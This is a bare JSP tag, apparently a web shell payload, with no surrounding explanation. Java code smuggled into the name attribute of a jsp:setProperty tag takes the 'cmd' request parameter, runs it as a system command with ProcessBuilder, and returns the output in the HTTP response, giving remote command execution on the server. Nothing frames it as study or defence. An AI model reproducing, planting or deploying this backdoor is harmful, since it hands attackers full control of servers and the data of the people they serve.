<jsp:setProperty name = "\" + new java.util.function.Supplier<String>() {public String get() { try{String s = request.getParameter(\"cmd\");Process process = new ProcessBuilder().command(s.split(\" \")).start();java.io.InputStream inputStream = process.getInputStream();StringBuilder stringBuilder = new StringBuilder();java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));String line;while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append(\"\n\"); }response.getOutputStream().write(stringBuilder.toString().getBytes());} catch (Exception e) { e.printStackTrace();}return \"\";}}.get() + \"" property = "*"/>